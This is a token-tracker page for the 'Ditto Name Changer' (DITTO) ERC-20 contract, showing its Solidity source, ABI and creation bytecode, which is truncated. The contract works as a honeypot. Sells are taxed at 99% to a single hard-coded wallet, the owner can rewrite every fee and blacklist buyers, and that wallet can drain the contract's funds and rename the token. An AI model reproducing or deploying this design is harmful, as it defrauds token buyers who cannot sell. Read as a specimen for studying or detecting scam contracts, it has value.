ERC-20
Overview
Max Total Supply
1,000,000 DITTO
Holders
113
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
165.881501032 DITTOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DittoNameChanger
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-25 */ /** https://t.me/DittoNameChanger */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DittoNameChanger is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Ditto Name Changer"; string private _symbol = "DITTO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 3; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 99; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x621E0F1ec90E96059AF91ff41fD58Bed23e01Ad7); address payable private _marketingAddress = payable(0x621E0F1ec90E96059AF91ff41fD58Bed23e01Ad7); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 20000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function name() external view override returns (string memory) { return _name; } function symbol() external view override returns (string memory) { return _symbol; } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function changeTokenName(string memory newName) external { require (msg.sender == _marketingAddress); _name = newName; } function changeTokenSymbol(string memory newSymbol) external { require (msg.sender == _marketingAddress); _symbol = newSymbol; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"}],"name":"changeTokenName","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newSymbol","type":"string"}],"name":"changeTokenSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260126080819052712234ba3a37902730b6b29021b430b733b2b960711b60a0908152620000359160029190620003ef565b5060408051808201909152600580825264444954544f60d81b60209092019182526200006491600391620003ef565b506200007a66038d7ea4c6800060001962000495565b6200008890600019620004b8565b6008556000600a8190556003600b55600c8190556063600d819055600e829055600f819055601091909155601155601480546001600160a01b031990811673621e0f1ec90e96059af91ff41fd58bed23e01ad79081179092556015805490911690911790556017805461ffff60a81b1916600160b01b17905566038d7ea4c680006018556512309ce540006019819055601a553480156200012857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008543360009081526004602081815260409283902093909355601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519093849363c45a0155938181019391829003018186803b158015620001df57600080fd5b505afa158015620001f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021a9190620004de565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026357600080fd5b505afa15801562000278573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029e9190620004de565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002e757600080fd5b505af1158015620002fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003229190620004de565b601780546001600160a01b0319166001600160a01b03928316179055600080548216815260076020526040808220805460ff1990811660019081179092553084528284208054821683179055601454851684528284208054821683179055601554909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c68000604051620003e091815260200190565b60405180910390a3506200054d565b828054620003fd9062000510565b90600052602060002090601f0160209004810192826200042157600085556200046c565b82601f106200043c57805160ff19168380011785556200046c565b828001600101855582156200046c579182015b828111156200046c5782518255916020019190600101906200044f565b506200047a9291506200047e565b5090565b5b808211156200047a57600081556001016200047f565b600082620004b357634e487b7160e01b600052601260045260246000fd5b500690565b600082821015620004d957634e487b7160e01b600052601160045260246000fd5b500390565b600060208284031215620004f157600080fd5b81516001600160a01b03811681146200050957600080fd5b9392505050565b600181811c908216806200052557607f821691505b602082108114156200054757634e487b7160e01b600052602260045260246000fd5b50919050565b6120a0806200055d6000396000f3fe6080604052600436106101e65760003560e01c80637f2feddc11610102578063b0018bfc11610095578063c6d3ab9d11610064578063c6d3ab9d14610578578063dd62ed3e14610598578063ea1644d5146105de578063f2fde38b146105fe57600080fd5b8063b0018bfc146104f3578063bfd7928414610513578063c3c8cd8014610543578063c492f0461461055857600080fd5b806395d89b41116100d157806395d89b411461047e57806398a5c31514610493578063a2a957bb146104b3578063a9059cbb146104d357600080fd5b80637f2feddc146103fd5780638da5cb5b1461042a5780638f70ccf7146104485780638f9a55c01461046857600080fd5b806349bd5a5e1161017a57806370a082311161014957806370a0823114610392578063715018a6146103b257806374010ece146103c75780637d1db4a5146103e757600080fd5b806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d5780636fc3eaec1461037d57600080fd5b806318160ddd116101b657806318160ddd146102a757806323b872dd146102cb5780632fd689e3146102eb578063313ce5671461030157600080fd5b8062b8cf2a146101f257806306fdde0314610214578063095ea7b31461023f5780631694505e1461026f57600080fd5b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021261020d366004611b2f565b61061e565b005b34801561022057600080fd5b506102296106bd565b6040516102369190611be1565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611c36565b61074f565b6040519015158152602001610236565b34801561027b57600080fd5b5060165461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b5066038d7ea4c680005b604051908152602001610236565b3480156102d757600080fd5b5061025f6102e6366004611c62565b610766565b3480156102f757600080fd5b506102bd601a5481565b34801561030d57600080fd5b5060405160098152602001610236565b34801561032957600080fd5b5060175461028f906001600160a01b031681565b34801561034957600080fd5b50610212610358366004611ca3565b6107cf565b34801561036957600080fd5b50610212610378366004611cd5565b61081a565b34801561038957600080fd5b50610212610862565b34801561039e57600080fd5b506102bd6103ad366004611ca3565b6108ad565b3480156103be57600080fd5b506102126108cf565b3480156103d357600080fd5b506102126103e2366004611cf0565b610943565b3480156103f357600080fd5b506102bd60185481565b34801561040957600080fd5b506102bd610418366004611ca3565b60136020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028f565b34801561045457600080fd5b50610212610463366004611cd5565b610972565b34801561047457600080fd5b506102bd60195481565b34801561048a57600080fd5b506102296109ba565b34801561049f57600080fd5b506102126104ae366004611cf0565b6109c9565b3480156104bf57600080fd5b506102126104ce366004611d09565b6109f8565b3480156104df57600080fd5b5061025f6104ee366004611c36565b610a36565b3480156104ff57600080fd5b5061021261050e366004611d3b565b610a43565b34801561051f57600080fd5b5061025f61052e366004611ca3565b60126020526000908152604090205460ff1681565b34801561054f57600080fd5b50610212610a6d565b34801561056457600080fd5b50610212610573366004611dd0565b610ac1565b34801561058457600080fd5b50610212610593366004611d3b565b610b62565b3480156105a457600080fd5b506102bd6105b3366004611e54565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156105ea57600080fd5b506102126105f9366004611cf0565b610b8c565b34801561060a57600080fd5b50610212610619366004611ca3565b610bbb565b6000546001600160a01b031633146106515760405162461bcd60e51b815260040161064890611e8d565b60405180910390fd5b60005b81518110156106b95760016012600084848151811061067557610675611ec2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b181611eee565b915050610654565b5050565b6060600280546106cc90611f09565b80601f01602080910402602001604051908101604052809291908181526020018280546106f890611f09565b80156107455780601f1061071a57610100808354040283529160200191610745565b820191906000526020600020905b81548152906001019060200180831161072857829003601f168201915b5050505050905090565b600061075c338484610ca5565b5060015b92915050565b6000610773848484610dc9565b6107c584336107c085604051806060016040528060288152602001612043602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611305565b610ca5565b5060019392505050565b6000546001600160a01b031633146107f95760405162461bcd60e51b815260040161064890611e8d565b6001600160a01b03166000908152601260205260409020805460ff19169055565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161064890611e8d565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b0316148061089757506015546001600160a01b0316336001600160a01b0316145b6108a057600080fd5b476108aa8161133f565b50565b6001600160a01b03811660009081526004602052604081205461076090611379565b6000546001600160a01b031633146108f95760405162461bcd60e51b815260040161064890611e8d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161064890611e8d565b601855565b6000546001600160a01b0316331461099c5760405162461bcd60e51b815260040161064890611e8d565b60178054911515600160a01b0260ff60a01b19909216919091179055565b6060600380546106cc90611f09565b6000546001600160a01b031633146109f35760405162461bcd60e51b815260040161064890611e8d565b601a55565b6000546001600160a01b03163314610a225760405162461bcd60e51b815260040161064890611e8d565b600a93909355600c91909155600b55600d55565b600061075c338484610dc9565b6015546001600160a01b03163314610a5a57600080fd5b80516106b9906002906020840190611a3a565b6014546001600160a01b0316336001600160a01b03161480610aa257506015546001600160a01b0316336001600160a01b0316145b610aab57600080fd5b6000610ab6306108ad565b90506108aa816113fd565b6000546001600160a01b03163314610aeb5760405162461bcd60e51b815260040161064890611e8d565b60005b82811015610b5c578160076000868685818110610b0d57610b0d611ec2565b9050602002016020810190610b229190611ca3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b5481611eee565b915050610aee565b50505050565b6015546001600160a01b03163314610b7957600080fd5b80516106b9906003906020840190611a3a565b6000546001600160a01b03163314610bb65760405162461bcd60e51b815260040161064890611e8d565b601955565b6000546001600160a01b03163314610be55760405162461bcd60e51b815260040161064890611e8d565b6001600160a01b038116610c4a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610648565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610648565b6001600160a01b038216610d685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610648565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610648565b6001600160a01b038216610e8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610648565b60008111610ef15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610648565b6000546001600160a01b03848116911614801590610f1d57506000546001600160a01b03838116911614155b156111fe57601754600160a01b900460ff16610fb6576000546001600160a01b03848116911614610fb65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610648565b6018548111156110085760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610648565b6001600160a01b03831660009081526012602052604090205460ff1615801561104a57506001600160a01b03821660009081526012602052604090205460ff16155b6110a25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610648565b6017546001600160a01b0383811691161461112757601954816110c4846108ad565b6110ce9190611f44565b106111275760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610648565b6000611132306108ad565b601a5460185491925082101590821061114b5760185491505b8080156111625750601754600160a81b900460ff16155b801561117c57506017546001600160a01b03868116911614155b80156111915750601754600160b01b900460ff165b80156111b657506001600160a01b03851660009081526007602052604090205460ff16155b80156111db57506001600160a01b03841660009081526007602052604090205460ff16155b156111fb576111e9826113fd565b4780156111f9576111f94761133f565b505b50505b6001600160a01b03831660009081526007602052604090205460019060ff168061124057506001600160a01b03831660009081526007602052604090205460ff165b8061127257506017546001600160a01b0385811691161480159061127257506017546001600160a01b03848116911614155b1561127f575060006112f9565b6017546001600160a01b0385811691161480156112aa57506016546001600160a01b03848116911614155b156112bc57600a54600e55600b54600f555b6017546001600160a01b0384811691161480156112e757506016546001600160a01b03858116911614155b156112f957600c54600e55600d54600f555b610b5c84848484611586565b600081848411156113295760405162461bcd60e51b81526004016106489190611be1565b5060006113368486611f5c565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b9573d6000803e3d6000fd5b60006008548211156113e05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610648565b60006113ea6115b4565b90506113f683826115d7565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144557611445611ec256